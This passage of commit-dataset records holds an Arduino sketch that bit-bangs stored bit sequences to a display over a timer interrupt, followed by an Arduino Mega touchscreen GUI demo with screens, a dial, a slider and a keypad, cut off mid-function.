1,0,0,0,0,0,0,0,0,0,2,\n0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,2,\n\/\/0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,2,\n 0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,2,\n\n0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,2,\n0,1,0,0,0,0,0,0,0,2, \n#endif\n\n#if 0\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,2,;\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,2,\n\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n\n\/\/ the following makes 01:59 appear on the screen:\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,2,\n0,1,1,0,0,0,0,0,0,\n\n1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,\n0,1,1,1,1,1,1,1,1,1,1,1,1,\n0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,\n0,0,1,0,0,0,0,0,0,2,\n0,0,0,0,0,0,0,0,0,2,\n\n0,0,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,2,\n0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,2,\n0,0,0,0,0,1,1,0,2,\n0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,2,\n0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,2,\n0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,2,\n#endif\n\n3};\n\n#if 0\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,2,\n0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,2,\n\n0,1,1,0,0,0,0,0,0,2,\n0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,2,\n0,1,0,0,0,0,0,0,0,2, ;\n\n\n#endif\n\nstatic const int prescaler = 1;\nstatic const double systemHz = 16000000;\nstatic const double bitLength = 52.0 \/ 1000000.0;\nstatic const unsigned int finetuning = 50; \/\/ fine-tuned with an oscilloscope\nstatic const unsigned int timerPreload = 65536 - systemHz \/ prescaler \/ (1 \/ bitLength) + finetuning;\n\/\/static const unsigned int = 0;\n\nvoid setupTimer()\n{\n \/\/ initialize timer1 \n noInterrupts(); \/\/ disable all interrupts\n TCCR1A = 0;\n TCCR1B = 0;\n\n TCNT1 = 34286; \/\/ preload timer 65536-16MHz\/256\/2Hz\n\/\/ TCCR1B |= (1 << CS12); \/\/ 256 prescaler \n TCCR1B |= (1 << CS10); \/\/ no prescaler \n TIMSK1 |= (1 << TOIE1); \/\/ enable timer overflow interrupt\n interrupts(); \/\/ enable all interrupts\n}\n\nISR(TIMER1_OVF_vect)\n{\n TCNT1 = timerPreload; \/\/ preload timer\n#if 1\n if (writeBitsLeft > 0) {\n --writeBitsLeft;\n int value = ((sequence[writeCurByte] >> writeCurBit) & 1) ? HIGH : LOW;\n digitalWrite(out, value);\n digitalWrite(debug, value);\n if (++writeCurBit == 8) {\n writeCurBit = 0;\n ++writeCurByte;\n }\n } else {\n digitalWrite(out, HIGH);\n digitalWrite(debug, HIGH);\n }\n#else\n static int value = 0;\n value ^= 1;\n digitalWrite(out, value);\n digitalWrite(debug, value);\n#endif\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid setup() {\n pinMode(out, OUTPUT);\n pinMode(debug, OUTPUT);\n pinMode(in, INPUT);\n digitalWrite(out, HIGH);\n digitalWrite(debug, HIGH);\n Serial.begin(9600);\n Serial.print(\"Start. timerPreload=\");\n Serial.println(timerPreload);\n setupTimer();\n}\n\nvoid sendSequence(const unsigned char* seq)\n{\n Serial.println(\"Sending sequence\");\n static unsigned long time = micros();\n for (int c = 0; seq[c] != 3; ++c) {\n if (seq[c] == 2) {\n digitalWrite(out, HIGH);\n digitalWrite(debug, HIGH);\n delayMicroseconds(52 * 12);\n time = micros();\n } else {\n digitalWrite(out, seq[c]);\n digitalWrite(debug, seq[c]);\n time += 52;\n unsigned int delta = time - micros();\n delayMicroseconds(delta);\n }\n }\n digitalWrite(out, HIGH);\n digitalWrite(debug, HIGH);\n Serial.println(\"Done sending sequence\");\n}\n\n\/\/ sends stuff from sequence, sequenceAtBit\/sequenceAtByte\nvoid sendBinarySequenceHw()\n{\n noInterrupts();\n writeBitsLeft = sequenceAt * 8 + sequenceAtBit;\n writeCurBit = 0;\n writeCurByte = 0;\n interrupts();\n \n while (writeBitsLeft > 0) {\n \/\/ wait for writing to go through\n }\n Serial.println(\".\");\n}\n\nvoid doit() {\n sendSequence(initsequence);\n}\n\nvoid baseLoop() {\n if (Serial.available()) {\n char ch = Serial.read();\n switch (ch) {\n case 'i': {\n doit();\n } break;\n case '0': {\n if (sequenceAt < sequenceSize) {\n sequence[sequenceAt++] = 0;\n } else {\n Serial.println(\"Sequence is too long\");\n }\n } break;\n case '1': {\n if (sequenceAt < sequenceSize) {\n sequence[sequenceAt++] = 1;\n } else {\n Serial.println(\"Sequence is too long\");\n }\n } break;\n case 'b': {\n sequenceAt = 0;\n sequenceAtBit = 0;\n inBinarySequence = true;\n } break;\n case ';': {\n if (!prevSequenceSize || sequenceAt > 0) {\n sequence[sequenceAt++] = 3;\n } else {\n sequenceAt = prevSequenceSize;\n }\n Serial.println(sequenceAt);\n for (int c = 0; c < sequenceAt; ++c) {\n Serial.print((int) sequence[c]);\n }\n Serial.println();\n sendSequence(sequence);\n prevSequenceSize = sequenceAt;\n sequenceAt = 0;\n } break;\n }\n }\n}\n\nvoid advanceBit() {\n if (++sequenceAtBit == 8) {\n ++sequenceAt;\n sequenceAtBit = 0;\n }\n if (sequenceAt == sequenceSize) {\n inBinarySequence = false;\n }\n}\n\nvoid binarySequenceLoop() {\n if (Serial.available()) {\n char ch = Serial.read();\n switch (ch) {\n case '1': {\n sequence[sequenceAt] |= (1 << sequenceAtBit);\n advanceBit();\n } break;\n case '0': {\n sequence[sequenceAt] &= ~(1 << sequenceAtBit);\n advanceBit();\n } break;\n case ';': {\n#if 0\n Serial.print(\"Sending binary \");\n Serial.print(sequenceAt * 8);\n Serial.print(\"+\");\n Serial.print(sequenceAtBit);\n Serial.println(\" bits\");\n#endif \n \/\/sendBinarySequence(sequence, sequenceAt * 8 + sequenceAtBit);\n sendBinarySequenceHw();\n inBinarySequence = false;\n } break;\n default:\n Serial.println(\"!\");\n inBinarySequence = false;\n }\n }\n}\n\nvoid loop() {\n if (inBinarySequence) {\n binarySequenceLoop();\n if (!inBinarySequence) {\n sequenceAt = 0;\n prevSequenceSize = 0;\n }\n } else {\n baseLoop();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SendSequence\/SendSequence.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"58a948c4140aa148a45fc076c3e57fc246c99e84","subject":"Added example demo using an Arduino Mega and Seeedtouch TFT","message":"Added example demo using an Arduino Mega and Seeedtouch TFT\n","repos":"jrullan\/Touchscreen_GUI,jrullan\/Touchscreen_GUI","old_file":"examples\/Touchscreen_GUI_Demo_MEGA_SEEEDTOUCH\/Touchscreen_GUI_Demo_MEGA_SEEEDTOUCH.ino","new_file":"examples\/Touchscreen_GUI_Demo_MEGA_SEEEDTOUCH\/Touchscreen_GUI_Demo_MEGA_SEEEDTOUCH.ino","new_contents":"\/* \n * The demo showcases the following features:\n * Display widgets used to show a text\n * Buttons and Round Buttons\n * Multiple Screens\n * Use of the Numkey widget as a password entry\n * Dial indicator\n * Terminal widget useful for on-screen information\n * \n * Created by: Jose Rullan\n * Date: February 16, 2019\n * \n * Update: \n * This particular demo uses global pointers for\n * the Touchscreen_GUI's library object instances.\n * The reason was that when downloaded into an Arduino\n * Mega with the Seeedtouch TFT screen the program crashed\n * upon the declaration of the canvas object.\n * \n * When it was declared as a pointer instead and was\n * instantiated inside the guiSetup routine, it worked.\n * The only drawback so far is that when compiled the \n * Global variables use of the dynamic memory dropped about\n * 6%, from 20% with global object instances to 14% with\n * global pointers. I believe that this could be a misrepresentation\n * of the total dynamic memory allocation during runtime,\n * and if so, there is a risk that there could be a crash if that \n * memory allocation exceeds the real available memory in runtime.\n * \n *\/\n\n#include <Canvas_SEEEDTOUCH.h>\n\/\/#include <Canvas_XPT2046.h>\n\n#include <Screen.h>\n#include <Terminal.h>\n#include <Display.h>\n#include <Button.h>\n#include <Slider.h>\n#include <Dial.h>\n#include <Numkey.h>\n#include <IconButton.h>\n#include <icons.h>\n#include <neotimer.h>\n\n\n#define BG_COLOR 0xDFE \/\/Background color (light blue)\n\nCanvas_SEEEDTOUCH *canvas;\nScreen *screen_main;\nScreen *screen_dial;\nScreen *screen_buttons;\nDisplay *header;\nDisplay *title;\nTerminal *terminal;\nNumkey *numkey;\nButton *btnMain;\nButton *btnDial;\nButton *btnButtons;\nDial *dial;\nSlider *slider;\nIconButton *btnBulb;\nIconButton *btnSlider;\n\nNeotimer dialTimer = Neotimer(5000);\nNeotimer incrementTimer = Neotimer(10);\n\nbool passwordCorrect = false;\nint8_t increment = 2;\n\n\/\/==================================\n\/\/ EVENT HANDLING ROUTINES\n\/\/==================================\n\nvoid btnIconEventHandler(Button* btn){\n if(btn == btnBulb){\n terminal->print((btn->touched)?\"Bulb pressed\":\"Bulb unpressed\",YELLOW);\n }\n if(btn == btnSlider){\n terminal->print((btn->touched)?\"Slider On\":\"Slider Off\",GREEN);\n }\n btn->update();\n}\n\nvoid btnMainEventHandler(Button* btn){\n header->setText(\"Main\",true);\n canvas->setScreen(screen_main);\n terminal->clear();\n welcomeMessage();\n}\n\nvoid btnDialEventHandler(Button* btn){\n \/\/ Show the numkey to enter a password\n \/\/ The numkey event handler will verify the password\n \/\/ and change the screen if the password is correct\n if(!passwordCorrect){\n terminal->clear();\n terminal->print(\"Enter the numeric password:\");\n terminal->print(\"1234\",GREEN);\n canvas->add(numkey,60,45);\n }else{\n numkeyEventHandler(numkey);\n }\n}\n\nvoid btnButtonsEventHandler(Button* btn){\n header->setText(\"Buttons\",true);\n canvas->setScreen(screen_buttons);\n terminal->clear();\n terminal->print(\"Icon buttons use images to\");\n terminal->print(\"represent the button state\");\n terminal->print(\"Press a button to see it's state\");\n}\n\nvoid sliderEventHandler(Slider* sld){\n\tdial->setCV(map(sld->currentValue,0,100,dial->scaleMin,dial->scaleMax));\n dialTimer.reset();\n dialTimer.start();\n}\n\nvoid numkeyEventHandler(Numkey* nk){\n if(passwordCorrect==false){\n char* password = \"1234\";\n bool match = true;\n if(nk->getTextSize() == Widget::getTextLength(password)){\n Serial.println(nk->getText());\n for(int i=0;i<nk->getTextSize();i++){\n if(nk->getText()[i] != password[i]){\n match = false;\n break; \n }\n }\n }else{\n match = false;\n }\n if(!match){\n terminal->print(\"Incorrect Password\",RED);\n nk->clear(); \n return;\n } \n passwordCorrect = true;\n dialTimer.start();\n }\n\n header->setText(\"Dial & Slider\",true);\n canvas->setScreen(screen_dial);\n terminal->clear();\n terminal->print(\"Dial reprents a value in a range\");\n terminal->print(\"Touch anywhere on the slider bar\");\n terminal->print(\"To change it's value\");\n}\n\nvoid welcomeMessage(){\n terminal->print(\"Welcome to Touchscreen GUI demo\",YELLOW);\n terminal->print(\"This demo shows up some features\",GREEN);\n terminal->print(\"of the library. Enjoy!\"); \n}\n\n\/\/==================================\n\/\/ SETUP\n\/\/==================================\nvoid guiSetup(){\n canvas = new Canvas_SEEEDTOUCH(TFT_PORTRAIT,BG_COLOR);\n screen_main = new Screen(canvas,0,40,240,190);\n screen_dial = new Screen(canvas,0,40,240,190);\n screen_buttons = new Screen(canvas,0,40,240,190);\n header = new Display(240,40,BLUE,WHITE,WHITE,20);\n title = new Display(20);\n terminal = new Terminal(240,50,TERMINAL_SCROLL_UP);\n numkey = new Numkey(); \n btnMain = new Button();\n btnDial = new Button();\n btnButtons = new Button();\n dial = new Dial();\n slider = new Slider();\n btnBulb = new IconButton(50,50,lightbulb_off,lightbulb_on);\n btnSlider = new IconButton(60,30,slider_off,slider_on);\n \n \/\/ ===== MAIN SCREEN =====\n screen_main->bgColor = BG_COLOR;\n title->setSize(240,40);\n title->setColors(screen_main->bgColor,GRAY2,screen_main->bgColor);\n title->borderWidth = 0;\n title->setText(\"GUI DEMO\",false);\n screen_main->add(title,0,screen_main->h\/2-FONT_Y*title->fontSize);\n\n \/\/ ===== SCREEN TWO =====\n screen_dial->bgColor = BG_COLOR;\n\n \/\/ Blue slider elements\n slider->setDebounce(0);\n slider->setSize(40,140);\n slider->setColors(BLACK,GRAY1,WHITE);\n slider->setEventHandler(&sliderEventHandler);\n\t\n dial->init();\n dial->setSize(50);\n dial->borderWidth = 5;\n dial->setColors(WHITE,GRAY2,GRAY2);\n dial->setLimits(60,70,90);\n dial->setHiLimit(75,RED);\n dial->setSP(70,BLUE);\n dial->setLowLimit(70,BLUE);\n dial->setCV(72,false);\n\n screen_dial->add(dial,80,screen_dial->h\/2);\n\tscreen_dial->add(slider,170,20);\n\t\n \/\/ ===== SCREEN THREE - BUTTONS ===== \n screen_buttons->bgColor = BG_COLOR;\n\n btnBulb->setEventHandler(&btnIconEventHandler);\n btnBulb->transparentColor = BLACK;\n\n btnSlider->setEventHandler(&btnIconEventHandler);\n btnSlider->transparentColor = BLACK;\n btnSlider->fgColor = BLACK;\n btnSlider->labelPos = LABEL_RIGHT;\n btnSlider->setLabel(\"Simulate\");\n\n screen_buttons->add(btnBulb,95,70);\n screen_buttons->add(btnSlider,10,10);\n\n \/\/ ===== CANVAS GENERAL ITEMS ===== \n btnMain->setSize(80,40);\n btnMain->setColors(GRAY1,WHITE,ILI9341_LIGHTGREY);\n btnMain->cornerRadius = 8;\n btnMain->setEventHandler(&btnMainEventHandler);\n btnMain->setText(\"Main\");\n btnMain->setDebounce(200);\n\n btnDial->setSize(80,40);\n btnDial->setColors(GRAY1,WHITE,ILI9341_LIGHTGREY);\n btnDial->cornerRadius = 8;\n btnDial->setEventHandler(&btnDialEventHandler);\n btnDial->setText(\"Dial\");\n btnDial->setDebounce(200);\n\n btnButtons->setSize(80,40);\n btnButtons->setColors(GRAY1,WHITE,ILI9341_LIGHTGREY);\n btnButtons->cornerRadius = 8;\n btnButtons->setEventHandler(&btnButtonsEventHandler);\n btnButtons->setText(\"Btns\");\n btnButtons->setDebounce(200);\n\n numkey->setSize(120,180);\n numkey->setColors(GRAY1,BLACK,WHITE);\n numkey->init();\n numkey->setEventHandler(&numkeyEventHandler);\n numkey->setDebounce(100);\n\n header->setText(\"Main Screen\",false);\n terminal->setColors(BLACK,WHITE,WHITE);\n\n canvas->add(header,0,0);\n canvas->add(btnMain,0,230);\n canvas->add(btnDial,80,230);\n canvas->add(btnButtons,160,230); \n canvas->add(terminal,0,270);\n canvas->setScreen(screen_main); \n\n welcomeMessage();\n}\n\nvoid setup() {\n Serial.begin(115200);\n guiSetup();\n}\n\n\/\/==================================\n\/\/ LOOP\n\/\/==================================\nvoid loop() {\n \/\/ Scan for touch events\n \/\/ Every widget is notified and passed\n \/\/ the coordinates of the event. \n \/\/ The corresponding widget invokes it's event\n \/\/ handler to react to the event.\n canvas->scan();\n\n if(dialTimer.done() && btnSlider->touched){\n if(incrementTimer.repeat()){\n if(slider->currentValue > 100) slider->currentValue = 100;\n if(slider->currentValue < 0) slider->currentValue = 0;\n if(slider->currentValue == 100 || slider->currentValue == 0) increment = increment * -1;\n slider->currentValue = constrain(slider->currentValue + increment, slider->scaleMin, slider->scaleMax); \n if(canvas->currentScreen == screen_dial) slider->update();\n 